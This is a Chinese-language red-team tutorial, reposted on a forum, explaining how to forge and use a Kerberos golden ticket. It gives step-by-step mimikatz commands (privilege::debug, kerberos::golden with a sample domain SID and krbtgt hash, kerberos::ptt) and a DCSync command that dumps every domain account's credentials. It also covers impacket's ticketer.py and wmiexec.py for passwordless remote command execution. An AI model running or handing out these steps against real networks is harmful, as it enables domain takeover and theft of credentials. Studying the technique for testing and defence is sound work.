搜索

[21420] 2020-11-18_黄金票据的制作与使用

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-18
2020-11-18_黄金票据的制作与使用 黄 金 票 据 的 制 作 与 使 用 L e m o n S e c   2 0 2 0 - 1 1 - 1 8 以 下 文 章 来 源 于 乌 雲 安 全   ， 作 者 S h a n f e n g l a n 7 原 理 原 理 黄 金 票 据 的 原 理 就 是 用 k r b t g t 的 h a s h 来 伪 造 T G T 的 内 容 。 更 改 里 面 的 c l i e n t 参 数 与 s e s s i o n   k e y 等 。 让 T G S 以 为 我 就 是 那 个 我 所 声 称 的 人 ， 当 然 我 一 般 会 声 称 自 己 是 a d m i n i s t r a t o r 。 第 四 步 主 要 是 来 验 证 客 户 端 的 身 份 。 所 谓 的 黄 金 票 据 其 实 就 是 k e r b e r o s 认 证 的 第 二 个 阶 段 中 的 t g s 的 t i c k e t 也 就 是 T G T 。 这 个 t i c k e t 相 当 于 对 请 求 端 的 一 个 身 份 认 证 的 凭 据 ， 如 果 可 以 伪 造 这 个 t i c k e t ， 那 么 就 可 以 伪 造 任 意 身 份 ， 而 黄 金 票 据 就 是 一 个 实 现 方 式 。 k e r b e r o s 协 议 原 理 请 参 考 : N T M L 认 证 与 k e r b e r o s 认 证 与 P A C 相 关 知 识 。 前 置 条 件 与 操 作 步 骤 前 置 条 件 与 操 作 步 骤 前 置 条 件 前 置 条 件 1 . k r b t g t 的 h a s h 2 . 本 地 管 理 员 权 限 3 . 域 的 s i d （ 普 通 用 户 的 s i d 除 去 最 后 三 位 就 是 域 的 s i d ） 4 . 域 内 任 意 用 户 的 本 地 管 理 员 权 限 操 作 步 骤 操 作 步 骤 清 空 已 有 票 据 k e r b e r o s : : p u r g e 制 作 黄 金 票 据 k e r b e r o s : : g o l d e n / u s e r : A d m i n i s t r a t o r / d o m a i n : t e s t . c o m / s i d : S - 1 - 5 - 2 1 - 4 1 6 6 9 8 6 6 4 6 - 4 1 6 8 4 9 7 5 3 4 - 2 4 9 0 5 5 1 9 2 2 / k r b t g t : 3 0 8 3 9 0 d 1 c a 7 a d d f 2 2 c 8 4 b a 9 f 1 d 2 6 c b e 4   / t i c k e t : 1 . k i r b i 加 载 黄 金 票 据 k e r b e r o s : : p t t   1 . k i r b i 检 测 成 果 乌 雲 安 全 乌 雲 安 全   . 乌 雲 安 全 ， 致 力 于 红 队 攻 防 实 战 、 内 网 渗 透 、 代 码 审 计 、 社 工 、 安 卓 逆 向 、 C T F 比 赛 技 巧 、 安 全 运 维 等 技 术 干 货 分 享 ， 并 预 警 最 新 漏 洞 ， 定 期 分 享 常 用 渗 透 工 具 、 教 程 等 资 源 。
l s a d u m p : : d c s y n c   / d o m a i n : t e s t . c o m   / u s e r : k r b t g t 实 现 实 现 使 用 使 用 m i m i k a t z 实 现 实 现 m i m i k a t z 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / g e n t i l k i w i / m i m i k a t z / r e l e a s e s 假 设 我 们 已 经 通 过 某 种 方 式 获 得 了 域 控 的 k r b t g t 的 h a s h 为 d 8 d 2 a d 7 2 a 1 1 9 a 8 d 4 1 8 7 0 3 f 7 a 1 6 5 8 0 a f 6 。 1 . 开 启 一 个 管 理 员 权 限 的 c m d 窗 口 2 . 使 用 m i m i k a t z 第 一 步 ： 提 权 & 清 空 票 据 k l i s t   p u r g e   # 在 c m d 中 执 行 p r i v i l e g e : : D e b u g k e r b e r o s : : p u r g e
k e r b e r o s : : l i s t 第 二 步 ： 制 作 黄 金 票 据 获 得 域 s i d ： S - 1 - 5 - 2 1 - 3 7 6 3 2 7 6 3 4 8 - 8 8 7 3 9 0 8 1 - 2 8 4 8 6 8 4 0 5 0 - 1 1 1 0 执 行 命 令 ： k e r b e r o s : : g o l d e n   / u s e r : A d m i n i s t r a t o r   / d o m a i n : t e s t . c o m   / s i d : S - 1 - 5 - 2 1 - 3 7 6 3 2 7 6 3 4 8 - 8 8 7 3 9 0 8 1 - 2 8 4 8 6 8 4 0 5 0 / k r b t g t : d 8 d 2 a d 7 2 a 1 1 9 a 8 d 4 1 8 7 0 3 f 7 a 1 6 5 8 0 a f 6   / t i c k e t : 1 . k i r b i 执 行 结 束 后 ， 会 在 运 行 目 录 生 成 一 个 1 . k i r b i 的 文 件 。
第 三 步 ： 使 用 黄 金 票 据 这 时 候 我 们 先 看 看 能 不 能 使 用 d c s y n c 命 令 ， 这 个 命 令 是 只 有 域 控 权 限 才 能 使 用 的 ， 作 用 是 导 出 域 内 所 有 用 户 的 账 号 密 码 。 当 然 结 果 肯 定 是 失 败 的 ： 因 为 我 们 并 没 有 域 控 的 “ 身 份 证 ” 也 就 是 t g t 。 这 时 候 我 们 将 刚 制 作 好 的 伪 造 的 t g t 导 入 系 统 并 进 行 测 试 ： k e r b e r o s : : p t t   1 . k i r b i l s a d u m p : : d c s y n c   / d o m a i n : t e s t . c o m   / u s e r : k r b t g t 遇 到 的 一 些 坑 做 完 票 据 后 执 行 l s a d u m p : : d c s y n c   / d o m a i n : t e s t . c o m   / u s e r : k r b t g t 会 报 错 。 后 来 研 究 了 很 久 才 发 现 ， 只 要 稍 等 几 分 钟 然 后 测 试 执 行 那 个 命 令 就 会 成 功 ， 或 者 退 出 m i m i k a t z 再 进 去 就 可 以 成 功 ， 原 理 我 也 不 知 道 。 这 种 票 据 只 会 存 在 管 理 员 权 限 的 命 令 行 窗 口 中 ， 如 果 这 时 候 换 一 个 命 令 行 窗 口 执 行 ， 就 会 发 现 没 有 这 个 凭 证 。
利 用 利 用 i m p a c k e t 实 现 实 现 原 理 跟 利 用 m i m i k a t z 一 样 ， 只 是 利 用 的 工 具 不 一 样 而 已 。 实 现 第 一 步 ： 打 开 管 理 员 权 限 的 命 令 行 窗 口 并 清 空 票 据 第 二 步 ： 制 作 c c a c h e 文 件 p y t h o n   t i c k e t e r . p y   - n t h a s h   d 8 d 2 a d 7 2 a 1 1 9 a 8 d 4 1 8 7 0 3 f 7 a 1 6 5 8 0 a f 6   - d o m a i n - s i d   S - 1 - 5 - 2 1 - 3 7 6 3 2 7 6 3 4 8 - 8 8 7 3 9 0 8 1 - 2 8 4 8 6 8 4 0 5 0   - d o m a i n t e s t . c o m   a d m i n i s t r a t o r 第 三 步 ： 更 改 环 境 变 量 s e t   K R B 5 C C N A M E = C : U s e r s z h a n g s a n D e s k t o p i m p a c k e t - e x a m p l e s - w i n d o w s - m a s t e r a d m i n i s t r a t o r . c c a c h e 第 四 步 ： 验 证 成 果 p y t h o n   w m i e x e c . p y   t e s t . c o m / a d m i n i s t r a t o r @ y u k o n g   - k   - n o - p a s s
总 结 总 结 利 用 i m p a c k e t 来 进 行 票 据 的 制 作 有 一 定 的 局 限 性 ， 制 作 完 票 据 后 在 k l i s t 命 令 下 是 看 不 到 缓 存 的 。 也 没 办 法 使 用 n e t   u s e i p a d m i n $   来 建 立 管 道 连 接 。 但 可 以 使 用 其 自 带 的 工 具 在 在 一 定 的 命 令 格 式 下 进 行 远 控 指 定 主 机 。 命 令 格 式 为 ： x x x x . p y   d o m a i n / u s e r n a m e @ h o s t n a m e   - k   - n o - p a s s 这 里 的 d o m a i n 必 须 跟 s y s t e m i n f o 中 的 d o m a i n 的 值 一 样 。 h o s t n a m e   可 以 通 过 n e t   v i e w 命 令 ， 或 者 n b t s t a t   - A   i p , 或 者 p i n g   - a   i p 来 确 定 ， 推 荐 p i n g   - a 命 令 。 因 为 t e s t 为 域 名 ， 所 以 y u k o n g 就 为 主 机 名 。 F Q D N 是 什 么 ？ F Q D N 是 完 全 合 格 域 名 / 全 程 域 名 缩 写 ， F u l l y   Q u a l i f i e d   D o m a i n   N a m e ， 即 是 域 名 ， 访 问 时 将 由 D N S 进 行 解 析 ， 得 到 I P 。 F Q D N   =   H o s t n a m e   +   D o m a i n N a m e ， 举 个 例 子 ， 一 个 公 司 申 请 了 域 名 c o m p . c o m ， 这 时 候 有 一 台 主 机 名 为 w e b ， 则 可 以 使 用 w e b . c o m p . c o m 得 到 这 个 主 机 I P 。 若 还 有 两 台 提 供 邮 件 和 O A 服 务 的 主 机 c m a i l ， o a ， 则 这 时 候 可 以 用 以 下 F Q D N ： c m a i l . c o m p . c o m o a . c o m p . c o m i m p a c k e t 的 更 多 用 法 请 看 下 面 这 篇 文 章 ： h t t p s : / / b l o g . c s d n . n e t / q q _ 4 1 8 7 4 9 3 0 / a r t i c l e / d e t a i l s / 1 0 8 2 5 3 5 3 1 作 者 ： S h a n f e n g l a n 7 ， 一 个 刚 步 入 安 全 行 业 的 人 ， 乐 意 分 享 技 术 ， 乐 意 接 受 批 评 ， 乐 意 交 流 。 希 望 自 己 能 把 抽 象 的 技 术 用 尽 量 具 体 的 语 言 讲 出 来 ， 让 每 个 人 都 能 看 懂 ， 并 觉 得 简 单 。 最 后 希 望 大 家 可 以 关 注 我 的 博 客 ： s h a n f e n g l a n . b l o g . c s d n . n e t 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 【 好 书 推 荐 】 【 好 书 推 荐 】
2 0 2 0 h w 系 列 文 章 整 理 （ 中 秋 快 乐 、 国 庆 快 乐 、 双 节 快 乐 ） H W 中 如 何 检 测 和 阻 止 D N S 隧 道 c t f 系 列 文 章 整 理 日 志 安 全 系 列 - 安 全 日 志 【 干 货 】 流 量 分 析 系 列 文 章 整 理 【 干 货 】 超 全 的   渗 透 测 试 系 列 文 章 整 理 【 干 货 】 持 续 性 更 新 - 内 网 渗 透 测 试 系 列 文 章 【 干 货 】 a n d r o i d 安 全 系 列 文 章 整 理 扫 描 关 注 扫 描 关 注 L e m o n S e c
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理